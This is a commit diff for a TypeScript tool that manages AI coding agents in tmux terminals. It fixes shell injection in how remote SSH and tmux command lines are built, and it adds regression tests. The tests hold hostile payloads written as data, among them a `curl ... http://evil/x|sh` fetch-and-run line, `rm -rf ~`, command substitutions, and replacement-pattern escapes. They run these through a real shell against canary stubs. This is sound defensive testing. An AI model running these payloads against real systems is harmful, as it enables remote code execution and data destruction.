Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(security): splice the quoted env pairs with a function replacement, not a string
Claude Code4804b77011d4
diff --git a/src/core/remote-safety.test.ts b/src/core/remote-safety.test.tsindex 4745cdc47..f88fd06b2 100644--- a/src/core/remote-safety.test.ts+++ b/src/core/remote-safety.test.ts@@ -36,6 +36,55 @@ describe('isSafeNodeId', () => {})})+/**+ * FALSE-POSITIVE SWEEP. A validator that refuses something real is an outage, so the accept side is+ * pinned against a broad list of homes and ids that actually occur — spaces, non-ASCII, apostrophes+ * and a literal `$` included. Note `/home/u$x` and `/home/o'brien` are ACCEPTED on purpose: they+ * are legal paths, and the defence against them is quoting at the splice, not this predicate.+ */+const REAL_HOMES = [+ '/root',+ '/home/enes',+ '/home/user.name',+ '/home/user-name',+ '/Users/First Last',+ '/Users/Enes Kırca',+ '/home/ünal',+ '/home/用户',+ '/export/home/u',+ '/var/lib/jenkins',+ '/home/u/',+ '/home/u+group',+ "/home/o'brien",+ '/home/u$x',+ '/data/homes/dept 3/u',+ '/home/u.d/nested',+ '/System/Volumes/Data/Users/e'+]++const REAL_NODE_IDS = [+ 'term-mabc-3',+ 'ssh-m1a2b3-12',+ 'editor-m9-1',+ 'group-m4-7',+ 'sticky-mz-1',+ 'dino-m1-1',+ 'browser-m1-2',+ 'diff-m1-3',+ 'video-m1-4',+ 'web-m1-5',+ '550e8400-e29b-41d4-a716-446655440000'+]++describe('no false positives on values that really occur', () => {+ it('accepts every realistic remote home', () => {+ for (const h of REAL_HOMES) expect(isSafeRemoteHome(h), h).toBe(true)+ })+ it('accepts every id shape the app mints', () => {+ for (const id of REAL_NODE_IDS) expect(isSafeNodeId(id), id).toBe(true)+ })+})+describe('isSafeRemoteHome', () => {it('accepts real absolute homes, including spaces and non-ASCII', () => {for (const h of ['/home/u', '/Users/Enes Kırca', '/var/lib/deploy', '/'])diff --git a/src/core/remote-ssh/control-master.injection.test.ts b/src/core/remote-ssh/control-master.injection.test.tsindex f263cf184..702cd396c 100644--- a/src/core/remote-ssh/control-master.injection.test.ts+++ b/src/core/remote-ssh/control-master.injection.test.ts@@ -78,8 +78,26 @@ function shellParse(cmd: string): { argv: string[]; unquotedMeta: string[] } {const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }-/** Every shell escape an attacker gets from a project.json node id, in one string. */-const PAYLOAD = "n1;curl${IFS}http://evil/x|sh;#`id`$(id)&&rm -rf ~\nwhoami\r'quote'\"dq\""+/**+ * Every shell escape an attacker gets from a project.json node id, in one string.+ *+ * `$'`, `` $` ``, `$&` and `$$` are here for a SECOND reason and must not be dropped: they are+ * `String.prototype.replace` REPLACEMENT PATTERNS. The first version of this fix quoted correctly+ * and then passed the quoted string as `replace`'s string argument, where `$'` expands to the text+ * FOLLOWING the match — splicing `-s '<session>' -c '<cwd>' …` inside the token and inverting its+ * quote parity. Quoting is not enough on its own; how the quoted bytes are spliced matters too.+ */+const PAYLOAD =+ "n1;curl${IFS}http://evil/x|sh;#`id`$(id)&&rm -rf ~\nwhoami\r'quote'\"dq\"$'$`$&$$"++/**+ * Values that land AFTER the `-e` pairs in the built line — the region a replacement-pattern+ * escape would drag inside the quotes. They are hostile ON PURPOSE and must stay that way: pinning+ * them benign is exactly what let the `$'` defect pass a green suite. All three come from the same+ * `.nodeterm/project.json` as the node id.+ */+const HOSTILE_CWD = '/srv/app;id;#'+const HOSTILE_PROGRAM_ARGS = ['--resume', 'sess;id;#']describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never command structure', () => {it('the parser itself sees structure in an UNQUOTED payload (guards the assertion)', () => {@@ -94,9 +112,9 @@ describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never commaconn,'/s.sock','nt-n1',- '/home/u',- undefined,- undefined,+ HOSTILE_CWD,+ 'claude',+ HOSTILE_PROGRAM_ARGS,remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', PAYLOAD, '1', 'claude'),'/home/u/.nodeterm/tmux.conf')@@ -106,11 +124,33 @@ describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never commaexpect(unquotedMeta).toEqual([])// (b) the payload is ONE argument, verbatim — tmux gets it as an env value, sh never sees it.expect(argv).toContain(`NODETERM_NODE_ID=${PAYLOAD}`)+ // (c) the region AFTER the splice is intact too: a replacement-pattern escape (`$'`) would+ // have dragged these inside the quotes and turned their `;` into command structure.+ expect(argv).toContain(HOSTILE_CWD)+ expect(argv).toContain('sess;id;#')// and the command is still exactly one tmux invocation with the expected shape.expect(argv.slice(0, 3)).toEqual(['tmux', '-L', 'nodeterm-rmt'])expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)expect(argv).toContain('nt-n1')- expect(argv).toContain('/home/u')+ })++ it("an agent id carrying a $' replacement pattern cannot invert the rest of the line", () => {+ // The exact reviewer PoC shape: the NODE ID is legitimate, the escape rides another+ // project.json field (`node.data.agentId`) into the same splice.+ const args = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-term-mabc-3',+ HOSTILE_CWD,+ undefined,+ undefined,+ remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', 'term-mabc-3', '1', "claude$'"),+ '/home/u/.nodeterm/tmux.conf'+ )+ const { argv, unquotedMeta } = shellParse(args[args.length - 1])+ expect(unquotedMeta).toEqual([])+ expect(argv).toContain("NODETERM_AGENT_ID=claude$'")+ expect(argv).toContain(HOSTILE_CWD)})it('quotes the managed-account CLAUDE_CONFIG_DIR pair too (same splice, same file provenance)', () => {diff --git a/src/core/remote-ssh/control-master.realsh.test.ts b/src/core/remote-ssh/control-master.realsh.test.tsnew file mode 100644index 000000000..92573813f--- /dev/null+++ b/src/core/remote-ssh/control-master.realsh.test.ts@@ -0,0 +1,188 @@+// SECURITY — the remote command line, executed by a REAL /bin/sh.+//+// The sibling `control-master.injection.test.ts` asserts structure with a hand-rolled parser. This+// file trusts no parser of ours: it runs the line `remoteTmuxPtyArgs` builds through the actual+// shell, with a stub `tmux` on PATH that dumps its argv NUL-separated and canary programs that+// leave a marker file if an injection ever reaches them. If a payload becomes command structure,+// a marker appears.+//+// It exists because a parser-only test PASSED the `$'` defect: `posixQuote` was correct, but the+// quoted string was handed to `String.prototype.replace` as a STRING replacement, where `$'`+// expands to the text following the match. Only execution catches a class of bug like that+// reliably — the parser has to be taught each new trick, the shell already knows them all.+import { describe, expect, it, beforeAll } from 'vitest'+import { execFileSync } from 'child_process'+import fs from 'fs'+import os from 'os'+import path from 'path'+import { remoteHookEnvArgs, remoteTmuxPtyArgs } from './control-master'+import { accountTmuxEnvArgs, remoteAccountConfigDirAbs } from '../claude-accounts-core'+import { isSafeNodeId, isSafeRemoteHome } from '../remote-safety'++const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }++let binDir: string+let markerDir: string++beforeAll(() => {+ const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ntsh-'))+ binDir = path.join(root, 'bin')+ markerDir = path.join(root, 'markers')+ fs.mkdirSync(binDir)+ fs.mkdirSync(markerDir)+ // stub tmux: prints its argv NUL-separated, so the test sees exactly what tmux would receive.+ fs.writeFileSync(path.join(binDir, 'tmux'), `#!/bin/sh\nfor a in "$@"; do printf '%s\\0' "$a"; done\n`, {+ mode: 0o755+ })+ // canaries an injection would reach for; each drops a marker file.+ for (const name of ['curl', 'id', 'whoami', 'rm', 'sh_pwn']) {+ fs.writeFileSync(path.join(binDir, name), `#!/bin/sh\ntouch ${markerDir}/${name}\nexit 0\n`, {+ mode: 0o755+ })+ }+})++/** Run a built remote command line through a real sh; report tmux's argv and any canary fired. */+function runReal(cmd: string): { argv: string[]; markers: string[]; extraStdout: string } {+ fs.readdirSync(markerDir).forEach((f) => fs.unlinkSync(path.join(markerDir, f)))+ let out = ''+ try {+ out = execFileSync('/bin/sh', ['-c', cmd], {+ env: { PATH: `${binDir}:/usr/bin:/bin`, HOME: '/home/u' },+ encoding: 'utf8',+ stdio: ['ignore', 'pipe', 'pipe']+ })+ } catch (e) {+ // A non-zero exit is not the subject — whether a canary RAN is. Keep whatever stdout arrived.+ out = String((e as { stdout?: string }).stdout ?? '')+ }+ const parts = out.split('\0')+ const trailing = parts.pop() ?? ''+ return { argv: parts, markers: fs.readdirSync(markerDir).sort(), extraStdout: trailing }+}++const build = (nodeId: string): string =>+ remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-n1',+ '/home/u',+ undefined,+ undefined,+ remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', nodeId, '1', 'claude'),+ '/home/u/.nodeterm/tmux.conf'+ ).slice(-1)[0]++const PAYLOADS: Record<string, string> = {+ semicolon: 'n1;id;#',+ pipe: 'n1|sh_pwn',+ and: 'n1&&id',+ or: 'n1||id',+ cmdsub: 'n1$(id)',+ backtick: 'n1`id`',+ IFS: 'n1;curl${IFS}http://evil/x|sh_pwn;#',+ newline: 'n1\nid\n',+ cr: 'n1\rid',+ singleQuote: "n1'id'",+ alreadyQuoted: "'n1'",+ embeddedEscape: "n1'\\''id;#",+ embeddedEscape2: "a'\\''b",+ closeThenSub: "n1'$(id)'",+ closeThenNl: "n1'\nid\n'",+ glob: 'n1*',+ redirect: 'n1>/tmp/ntsh-pwn',+ bg: 'n1&',+ tilde: 'n1~/x',+ varExp: 'n1$HOME',+ dollarQuote: "n1$'\\x41'",+ bangHist: 'n1!!',+ brace: 'n1{a,b}',+ whitespace: 'n1\t tab and space',+ // `String.prototype.replace` replacement patterns — the class that defeated the first fix.+ replMatch: 'n1$&',+ replBefore: 'n1$`',+ replAfter: "n1$'",+ replDollar: 'n1$$'+}++describe('REAL sh: a payload node id is one literal argument, never command structure', () => {+ for (const [name, payload] of Object.entries(PAYLOADS)) {+ it(`${name}: ${JSON.stringify(payload)}`, () => {+ const { argv, markers, extraStdout } = runReal(build(payload))+ expect(markers, `a canary EXECUTED for ${name}`).toEqual([])+ expect(extraStdout, `stray stdout for ${name}`).toBe('')+ expect(argv, `payload was not one literal arg for ${name}`).toContain(`NODETERM_NODE_ID=${payload}`)+ expect(argv.slice(0, 2)).toEqual(['-L', 'nodeterm-rmt'])+ expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)+ expect(argv).toContain('nt-n1')+ expect(argv).toContain('/home/u')+ })+ }+})++/**+ * The four vectors an adversarial review proved still landed after the FIRST version of this fix.+ * Each uses a node id that passes `isSafeNodeId` — the escape rides a different project.json field+ * — so they are regressions against the splice, not against the id validator.+ */+describe('REAL sh: the four vectors that survived the first fix', () => {+ it('A: node.data.agentId carries the escape, node id is legitimate', () => {+ expect(isSafeNodeId('term-mabc-3')).toBe(true)+ const cmd = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-term-mabc-3',+ '/srv/app;id;#',+ undefined,+ undefined,+ remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', 'term-mabc-3', '1', "claude$'"),+ '/home/u/.nodeterm/tmux.conf'+ ).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain('/srv/app;id;#') // the cwd stayed DATA+ })++ it('B: a remote $HOME that isSafeRemoteHome accepts (and should)', () => {+ const home = "/home/u$'x"+ expect(isSafeRemoteHome(home), 'a legal path — the validator is not the defence here').toBe(true)+ const cmd = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-n1',+ '/srv/app;id;#',+ undefined,+ undefined,+ remoteHookEnvArgs(`${home}/.nodeterm/hook-endpoint-p1.env`, 'term-mabc-3', '1', 'claude'),+ '/home/u/.nodeterm/tmux.conf'+ ).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain(`NODETERM_HOOK_ENDPOINT=${home}/.nodeterm/hook-endpoint-p1.env`)+ })++ it('C: CLAUDE_CONFIG_DIR built from that same $HOME', () => {+ const dir = remoteAccountConfigDirAbs("/home/u$'x", 'work')+ const cmd = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-n1', '/srv/app;id;#', undefined, undefined, [+ ...accountTmuxEnvArgs(dir)+ ]).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain(`CLAUDE_CONFIG_DIR=${dir}`)+ })++ it('D: programArgs (a resume session id) in the region after the splice', () => {+ const cmd = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-n1',+ '/srv/app',+ 'claude',+ ['--resume', 'sess;id;#'],+ remoteHookEnvArgs('/ep', 'term-mabc-3', '1', "claude$'")+ ).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain('sess;id;#')+ })+})diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.tsindex b997590e4..05dffbb72 100644--- a/src/core/remote-ssh/control-master.ts+++ b/src/core/remote-ssh/control-master.ts@@ -509,6 +509,14 @@ export function remoteTmuxPtyArgs(): string[] {let cmd = remoteTmuxCommand({ sessionId, remoteCwd, program, programArgs, socket: RMT_TMUX_SOCKET, confPath })if (extraEnv.length)- cmd = cmd.replace('new-session -A ', `new-session -A ${extraEnv.map(posixQuote).join(' ')} `)+ // The replacement is a FUNCTION, not a string. This is load-bearing and not a style choice:+ // in a STRING replacement `$'`, `` $` ``, `$&` and `$$` are expansion patterns, and `$'`+ // splices the text FOLLOWING the match — `-s '<session>' -c '<cwd>' '<program>' '<args>'` —+ // straight INSIDE the single-quoted token being built. That inverts the quote parity of that+ // copy and un-quotes everything `remoteTmuxCommand` had carefully quoted, so an agent id of+ // `claude$'` plus a project cwd of `/srv/app;id;#` (both from the same `.nodeterm/project.json`)+ // was remote code execution EVEN WITH the posixQuote above. A function replacement is never+ // pattern-expanded, so the quoted bytes land verbatim. See control-master.injection.test.ts.+ cmd = cmd.replace('new-session -A ', () => `new-session -A ${extraEnv.map(posixQuote).join(' ')} `)return ['-t', ...childArgs(conn, controlPath, cmd)]}diff --git a/src/main/remote-ssh/remote-hooks.test.ts b/src/main/remote-ssh/remote-hooks.test.tsindex b78c3a027..f58a61bf5 100644--- a/src/main/remote-ssh/remote-hooks.test.ts+++ b/src/main/remote-ssh/remote-hooks.test.ts@@ -1,5 +1,7 @@+import { execFileSync } from 'child_process'import { describe, expect, it, vi } from 'vitest'-import { RemoteHooks } from './remote-hooks'+import { RemoteHooks, openCodeInstructionsTarget } from './remote-hooks'+import { isSafeRemoteHome } from '../../core/remote-safety'const conn = { host: 'h', user: 'u' }@@ -209,6 +211,77 @@ describe('RemoteHooks.setup — a hostile remote $HOME', () => {})})+/**+ * SECURITY — the opencode instructions target is the ONE remote path that must stay+ * shell-expandable (`$XDG_CONFIG_HOME` belongs to the HOST), so it cannot be a quoted literal like+ * its codex/gemini siblings. Written the obvious way it interpolated the host-reported `$HOME`+ * inside DOUBLE quotes, where `$` and backticks are still live — and `isSafeRemoteHome` accepts+ * `/home/u$(id)`, correctly, because that is a legal path. Executed through a real `/bin/sh`: the+ * expression must stay ONE argument and must never run anything.+ */+describe('RemoteHooks — the opencode XDG path expression', () => {+ const HOSTILE = '/home/u$(id)`id`;id;#'++ /** `set --` so the shell reports how many WORDS the expression became, and what the first is. */+ const probe = (home: string, env: Record<string, string> = {}): string => {+ const { prelude, pathExpr } = openCodeInstructionsTarget(home)+ return execFileSync('/bin/sh', ['-c', `${prelude}set -- ${pathExpr}; echo "ARGC=$#|$1"`], {+ encoding: 'utf8',+ env: { PATH: '/usr/bin:/bin', ...env }+ }).trim()+ }++ it('a hostile $HOME stays inert and the expression stays ONE word (real /bin/sh)', () => {+ expect(isSafeRemoteHome(HOSTILE), 'a legal path — the validator is not the defence here').toBe(true)+ expect(probe(HOSTILE)).toBe(`ARGC=1|${HOSTILE}/.config/opencode/AGENTS.md`)+ })++ it("still honours the HOST's $XDG_CONFIG_HOME, including one containing a space", () => {+ expect(probe('/home/u', { XDG_CONFIG_HOME: '/o p/cfg' })).toBe('ARGC=1|/o p/cfg/opencode/AGENTS.md')+ expect(probe('/home/u')).toBe('ARGC=1|/home/u/.config/opencode/AGENTS.md')+ })++ for (const [what, install] of [+ ['canvas control', (rh: RemoteHooks, c: typeof conn) => rh.installCanvasControl(c, '/s.sock', HOSTILE)],+ ['context link', (rh: RemoteHooks, c: typeof conn) => rh.installContextLink(c, '/s.sock', HOSTILE)]+ ] as const) {+ it(`${what} routes the opencode target through that safe form`, async () => {+ const { rh, conn: c, runs } = harness()+ await install(rh, c)+ const lines = runs+ .map((r) => r.args[r.args.length - 1])+ .filter((l) => l.includes('opencode/AGENTS.md'))+ expect(lines.length).toBeGreaterThan(0)+ for (const line of lines) {+ // The untrusted half is bound to a single-quoted shell variable; it never appears raw+ // inside the double-quoted expansion, where `$`/backticks would still be live.+ expect(line).toContain(`NT_H='${HOSTILE}'`)+ expect(line).toContain('"${XDG_CONFIG_HOME:-$NT_H/.config}/opencode/AGENTS.md"')+ expect(line).not.toContain(`{XDG_CONFIG_HOME:-${HOSTILE}`)+ }+ })+ }+})++describe('RemoteHooks.ensureFullscreenTui — the fourth $(dirname …) site', () => {+ it('quotes the substitution, so a home with a space gets ONE mkdir argument', async () => {+ // Unquoted, `$(dirname '/Users/Enes Kirca/.claude/settings.json')` word-splits into two mkdir+ // args (measured ARGC=2): junk directories, then the quoted `cat >` fails and the catch+ // swallows it — fullscreen-TUI silently never written for any macOS user with a spaced home.+ const { rh, conn: c, runs } = harness({ responses: { 'settings.json': '{}' } })+ await rh.ensureFullscreenTui(c, '/s.sock', '/Users/Enes Kirca')+ const write = runs.map((r) => r.args[r.args.length - 1]).find((l) => l.includes('mkdir -p'))+ expect(write).toBeTruthy()+ expect(write).toContain(`mkdir -p "$(dirname '/Users/Enes Kirca/.claude/settings.json')"`)+ const argc = execFileSync(+ '/bin/sh',+ ['-c', `set -- "$(dirname '/Users/Enes Kirca/.claude/settings.json')"; echo "ARGC=$#|$1"`],+ { encoding: 'utf8' }+ ).trim()+ expect(argc).toBe('ARGC=1|/Users/Enes Kirca/.claude')+ })+})+describe('RemoteHooks.setup — grok', () => {// The host's $GROK_HOME is deliberately a path the `$HOME/.grok` fallback could NEVER produce.// With the two byte-identical (`$HOME: /home/dev` + `GROK_HOME: /home/dev/.grok`) the whole@@ -387,7 +460,10 @@ describe('RemoteHooks.installCanvasControl', () => {// the desktop's XDG_CONFIG_HOME says nothing about the host's.expect(joined.some((j) => j.includes('/home/u/.codex/AGENTS.md'))).toBe(true)expect(joined.some((j) => j.includes('/home/u/.gemini/GEMINI.md'))).toBe(true)- expect(joined.some((j) => j.includes('${XDG_CONFIG_HOME:-/home/u/.config}/opencode/AGENTS.md'))).toBe(true)+ // …with the remote $HOME bound to a shell variable first, so it is never live inside the+ // double-quoted expansion (see "the opencode XDG path expression" below).+ expect(joined.some((j) => j.includes(`NT_H='/home/u'`))).toBe(true)+ expect(joined.some((j) => j.includes('${XDG_CONFIG_HOME:-$NT_H/.config}/opencode/AGENTS.md'))).toBe(true)expect(calls.some((c) => (c.stdin ?? '').includes('nodeterm:manage-canvas:start'))).toBe(true)// no unexpanded tilde survives in any remote path.expect(joined.some((j) => j.includes('~/'))).toBe(false)diff --git a/src/main/remote-ssh/remote-hooks.ts b/src/main/remote-ssh/remote-hooks.tsindex 807be2902..34ceb4016 100644--- a/src/main/remote-ssh/remote-hooks.ts+++ b/src/main/remote-ssh/remote-hooks.ts@@ -49,6 +49,30 @@ function dirnameOf(p: string): string {return i > 0 ? p.slice(0, i) : '/'}+/**+ * The remote opencode instructions path, as a `{ prelude, pathExpr }` pair for+ * `mergeRemoteInstructions`.+ *+ * opencode is XDG-respecting and the DESKTOP's `$XDG_CONFIG_HOME` says nothing about the host, so+ * this one target must stay expandable BY THE REMOTE SHELL — it cannot be a `posixQuote`d literal+ * like its codex/gemini siblings. That is what made it dangerous: the obvious spelling,+ * `"${XDG_CONFIG_HOME:-<remoteHome>/.config}/…"`, interpolates the host-reported `$HOME` inside+ * DOUBLE quotes, where `$` and backticks are still live — so a `$HOME` of `/home/u$(id)` (which+ * `isSafeRemoteHome` accepts, and should: it is a legal path) executed on the host.+ *+ * The fix binds the untrusted half to a shell VARIABLE first. A parameter expansion's RESULT is+ * not re-expanded, so `"$NT_H"` is inert no matter what bytes it holds, while+ * `${XDG_CONFIG_HOME:-…}` keeps its fallback semantics. Verified against real `/bin/sh`: the+ * payload never runs, and the whole expression stays ONE argument (ARGC=1) with the variable set,+ * unset, and holding a space.+ */+export function openCodeInstructionsTarget(remoteHome: string): { prelude: string; pathExpr: string } {+ return {+ prelude: `NT_H=${posixQuote(remoteHome)}; `,+ pathExpr: `"\${XDG_CONFIG_HOME:-$NT_H/.config}/opencode/AGENTS.md"`+ }+}+export interface RemoteRunner {/** Run one ssh child command (over the master); optional stdin written to the child. */run: (args: string[], stdin?: string) => Promise<{ code: number; stdout: string }>@@ -416,13 +440,15 @@ export class RemoteHooks {// the desktop merges into their global instruction files. The opencode path is expanded by// the REMOTE shell (it is XDG-respecting and the local value says nothing about the host).const block = buildCanvasControlInstructions(shim)- const targets = [- posixQuote(`${remoteHome}/.codex/AGENTS.md`),- posixQuote(`${remoteHome}/.gemini/GEMINI.md`),- `"\${XDG_CONFIG_HOME:-${remoteHome}/.config}/opencode/AGENTS.md"`+ // codex/gemini are plain quoted literals; opencode must stay shell-expandable and so+ // carries a prelude that binds the untrusted $HOME to a variable (see the helper).+ const targets: { pathExpr: string; prelude?: string }[] = [+ { pathExpr: posixQuote(`${remoteHome}/.codex/AGENTS.md`) },+ { pathExpr: posixQuote(`${remoteHome}/.gemini/GEMINI.md`) },+ openCodeInstructionsTarget(remoteHome)]- for (const target of targets) {- await this.mergeRemoteInstructions(conn, controlPath, target, block, mergeCanvasControlBlock)+ for (const t of targets) {+ await this.mergeRemoteInstructions(conn, controlPath, t.pathExpr, block, mergeCanvasControlBlock, t.prelude)}} catch {/* fail-open: the remote agent simply runs without canvas control */@@ -478,13 +504,15 @@ export class RemoteHooks {buildContextLinkSkillBody(shim))const block = buildLinkedContextInstructions(shim)- const targets = [- posixQuote(`${remoteHome}/.codex/AGENTS.md`),- posixQuote(`${remoteHome}/.gemini/GEMINI.md`),- `"\${XDG_CONFIG_HOME:-${remoteHome}/.config}/opencode/AGENTS.md"`+ // codex/gemini are plain quoted literals; opencode must stay shell-expandable and so+ // carries a prelude that binds the untrusted $HOME to a variable (see the helper).+ const targets: { pathExpr: string; prelude?: string }[] = [+ { pathExpr: posixQuote(`${remoteHome}/.codex/AGENTS.md`) },+ { pathExpr: posixQuote(`${remoteHome}/.gemini/GEMINI.md`) },+ openCodeInstructionsTarget(remoteHome)]- for (const target of targets) {- await this.mergeRemoteInstructions(conn, controlPath, target, block, mergeInstructionsBlock)+ for (const t of targets) {+ await this.mergeRemoteInstructions(conn, controlPath, t.pathExpr, block, mergeInstructionsBlock, t.prelude)}} catch {/* fail-open: the remote agent simply runs without context link */@@ -543,22 +571,27 @@ export class RemoteHooks {/** Read-merge-write one marker-delimited instructions block at a remote path EXPRESSION* (already quoted / shell-expandable). Everything outside the markers is preserved — including* the OTHER feature's block, which is why the merge function is a parameter: canvas control and- * context link own different markers in the same files. */+ * context link own different markers in the same files.+ *+ * `prelude` is shell prepended to BOTH commands — it exists so a caller can bind an untrusted+ * value (the host-reported `$HOME`) to a shell VARIABLE once and then refer to it as `$NT_H`+ * inside an expression that must stay shell-expandable. See `openCodeInstructionsTarget`. */private async mergeRemoteInstructions(conn: SshConnection,controlPath: string,pathExpr: string,block: string,- merge: (existing: string, block: string) => string+ merge: (existing: string, block: string) => string,+ prelude = ''): Promise<void> {try {const { stdout: existing } = await this.r.run(- childArgs(conn, controlPath, `cat ${pathExpr} 2>/dev/null || true`)+ childArgs(conn, controlPath, `${prelude}cat ${pathExpr} 2>/dev/null || true`))const merged = merge(existing, block)if (merged === existing) returnawait this.r.run(- childArgs(conn, controlPath, `mkdir -p "$(dirname ${pathExpr})" && cat > ${pathExpr}`),+ childArgs(conn, controlPath, `${prelude}mkdir -p "$(dirname ${pathExpr})" && cat > ${pathExpr}`),merged)} catch {@@ -608,7 +641,12 @@ export class RemoteHooks {const { config: next, changed } = ensureFullscreenTui(cfg)if (!changed) return // key already present (any value) → never overwrite the user's `/tui`await this.r.run(- childArgs(conn, controlPath, `mkdir -p $(dirname ${posixQuote(config)}) && cat > ${posixQuote(config)}`),+ // `$(dirname …)` QUOTED, like the other three sites. Unquoted, a home with a space+ // (`/Users/Enes Kirca`) word-splits the substitution into two mkdir args — measured+ // ARGC=2 — so junk directories are created, the correctly-quoted `cat >` then fails, and+ // the catch below swallows it. Symptom: fullscreen-TUI silently never written for any+ // macOS user whose home has a space in it.+ childArgs(conn, controlPath, `mkdir -p "$(dirname ${posixQuote(config)})" && cat > ${posixQuote(config)}`),JSON.stringify(next, null, 2))} catch {diff --git a/src/main/remote-ssh/ssh-project.test.ts b/src/main/remote-ssh/ssh-project.test.tsindex 989c5d9ed..f0f4bcbe1 100644--- a/src/main/remote-ssh/ssh-project.test.ts+++ b/src/main/remote-ssh/ssh-project.test.ts@@ -168,6 +168,55 @@ describe('SshProjectManager', () => {expect(calls.some((c) => c.args.join(' ').includes(`source-file '/home/u/.nodeterm/tmux.conf'`))).toBe(true)})+ /**+ * SECURITY — the remote `$HOME` is a HOST ANSWER, i.e. data. Both places `ssh-project` reads it+ * validate it (`isSafeRemoteHome`) before it becomes a remote path: `connect`, where it steers+ * the tmux.conf write AND is retained as `remoteHome` (which the PTY manager then splices into a+ * tmux `-e CLAUDE_CONFIG_DIR=…` pair), and `uploadFile`, which resolves it on demand.+ *+ * These two sites had NO test in the first version of this fix — reverting them left the suite+ * green, which made the mutation claim wrong. That is what these pin.+ */+ const mgrWithHome = (home: string) => {+ const calls: { args: string[]; stdin?: string }[] = []+ const run = vi.fn(async (args: string[], stdin?: string) => {+ calls.push({ args, stdin })+ return args.join(' ').includes('printf %s') ? { code: 0, stdout: home } : { code: 0, stdout: '' }+ })+ const mgr = new SshProjectManager({+ userDataDir: '/ud',+ spawnMaster: vi.fn(() => ({ kill: vi.fn(), on: vi.fn() })),+ run,+ runScp: vi.fn(async () => ({ code: 0 })),+ getHook: () => ({ port: 1, token: 't', version: '1' }),+ onStatus: vi.fn()+ })+ return { mgr, calls }+ }++ it('connect REFUSES a remote $HOME carrying a newline (no path built, nothing retained)', async () => {+ const { mgr, calls } = mgrWithHome('/home/u\nid > /tmp/pwned')+ const { tmuxConfPath } = await mgr.connect('p1', conn)+ // Fail-open: the features needing an absolute home are off, the connection itself still works.+ expect(tmuxConfPath).toBeUndefined()+ expect(mgr.remoteHomeFor('p1')).toBeUndefined()+ // and the hostile bytes reached no remote command line.+ expect(calls.some((c) => c.args.join(' ').includes('id > /tmp/pwned'))).toBe(false)+ })++ it('connect ACCEPTS a home with a space (the validator must not break real macOS homes)', async () => {+ const { mgr } = mgrWithHome('/Users/Enes Kirca')+ const { tmuxConfPath } = await mgr.connect('p1', conn)+ expect(tmuxConfPath).toBe('/Users/Enes Kirca/.nodeterm/tmux.conf')+ expect(mgr.remoteHomeFor('p1')).toBe('/Users/Enes Kirca')+ })++ it('uploadFile REFUSES a probed $HOME carrying a newline', async () => {+ const { mgr } = mgrWithHome('/home/u\nid')+ await mgr.connect('p1', conn) // connect also refuses it, so upload must re-probe and refuse too+ expect(await mgr.uploadFile('p1', '/local/f.png', 'f.png')).toBeNull()+ })+it('connect leaves tmuxConfPath undefined when the remote conf write fails (no -f to a missing conf)', async () => {// The runner resolves (does not throw) on a non-zero remote exit. Fail the `cat >`/mkdir write// with code 1 while letting the $HOME probe succeed so remoteHome resolves, this isolates the